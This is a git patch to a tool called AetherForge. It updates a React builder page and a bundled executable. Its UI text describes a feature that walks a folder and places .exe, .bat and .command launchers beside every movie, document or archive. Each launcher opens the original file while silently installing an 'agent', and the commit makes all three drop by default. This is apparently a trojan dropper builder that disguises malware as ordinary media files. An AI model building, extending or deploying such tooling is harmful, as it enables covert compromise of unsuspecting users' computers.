From 7f0b20fb26512213e4a9929c742eb8342953c6c5 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Wed, 3 Jun 2026 01:15:24 -0700 Subject: [PATCH] fix(forge): PATH FORGE - preserve original files, drop all 3 companions. UI now explicitly states original is never touched. Results show original (kept) + all placed companions. Both Win+Mac default on so all 3 always drop together. --- server/web/src/pages/BuilderPage.tsx | 31 +++++++++++++++++---------- usb/AetherForge.exe | Bin 12528640 -> 12528640 bytes 2 files changed, 20 insertions(+), 11 deletions(-) diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index fa30708..937e85a 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -1990,9 +1990,11 @@ export default function BuilderPage() { description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed." />

- For every file found (movies, docs, archives…) the server drops a .bat + .exe (Windows) - and/or .command (Mac) right beside it in the same directory. - The launcher opens the original file normally and silently installs the agent. + For every file found (movies, docs, archives…) the server drops all three companions right beside it:
+ Terminator.exe · Terminator.bat · Terminator.command
+ The original file is never touched.{' '} + Terminator.mkv stays exactly as-is. The .bat opens it in the default player + and silently runs the agent. The .command does the same on Mac.

@@ -2036,18 +2038,18 @@ export default function BuilderPage() {
{pfStemMode === 'original' - ? 'Terminator.mkv → Terminator.exe + Terminator.bat' - : `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`} + ? 'e.g. Terminator.mkv → Terminator.exe · Terminator.bat · Terminator.command (original untouched)' + : `Every dir → ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
- +
+ + Keep both on → all 3 files drop next to every original (recommended) +
@@ -2081,10 +2086,14 @@ export default function BuilderPage() { : `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}

{pfResult.results.slice(0, 20).map((r, i) => ( -
- {r.source} - {' → '} - {r.files.join(' ')} +
+ 📄 + {r.source} + (kept) +
+ + {'↳ '}{r.files.join(' · ')} +
))} {pfResult.results.length > 20 && ( diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe index fb597248002d0931f883c02bccd3107d6ca0ebb6..f7a4e5bcb5de73cf9fba980e853bfa3363573bb6 100644 GIT binary patch delta 1030 zcmb`@=~fZ}0EXdXBqnXPXRFzsDZ>E6XjlSDxI~a9W(y6>D46B~SlNbI(Y{&PzL)J; zS+t*idj;J^H&CbE?xAzO=g;@^P5$_mnZ!_zKA>4^JYuEW6pKWiVMn#%lwvNU7St+i z!Gx>bQhO521Y@L(a6NVKMP}!4Fkqv9L8e;CL#xuFd0)Y71J;sGcXgmn1$Jx zgSnW8`N+cp{c_1RG=&qXes9M=4fg4a(qv z6E2ja0&c8@2bHKoHEOU9UaW@?er!N3>aY>@2%rI*(1^|0g00wwAhtt62w|wu(1d10 z5Jd}ipcQS{IhfS9|E>}(f=vjkvS>C-RwWb?#U`cLWKtDbQ598^6q{@@i&jG@5p7ko zyTh@fc(hF`6$Mc$6qvbAkV^zxiCIpK=sM7eF2oQ=0^Qh!-PnU3?8QFp#{nEf61_Nt zJ{-mo97PJpa2zLa5~pw)XK)tha2^-XkBhj3%NW2FT*Wn9#|_-XE!@T(+{HcI#{)dX zBMjm(p5Q5-;W=L5C0=0&uki+N(<8d!4Ea9>9w2Z*s?0u&cX*F9KHwuh;WNJAYr4$- H?fcKa@Gx{l delta 1030 zcmb`@=T?#d0LJlSCMGT0*)-dk^72kJEg)B-0!kq?*^-)}KxT`wqP?ta@3NhhW&8Bm zE9fq|fjaf?9y;gweR)3qQ$K!Xr7)PQb5}{$giY(H6C#bWD`M%e`;%USB#E)6=4!$1 ziB+h<&P0tAl?)A?UY9BddmNEOyhZdmV{VJXV6}x5ligD(*UOTub~~J{l`RGO{6BrZ z?7ZHTE}hb4U=%Vj8d>=FXJZU#~& zZD_}ift0S}cdZgKg#!V}sD!l=)nB40Qdm|MMbxxV&@cOfnrQS3s!{JxMB9Qn$v{_e zJlY;A7X?u*5}4!?v{KnvDk$lZ%$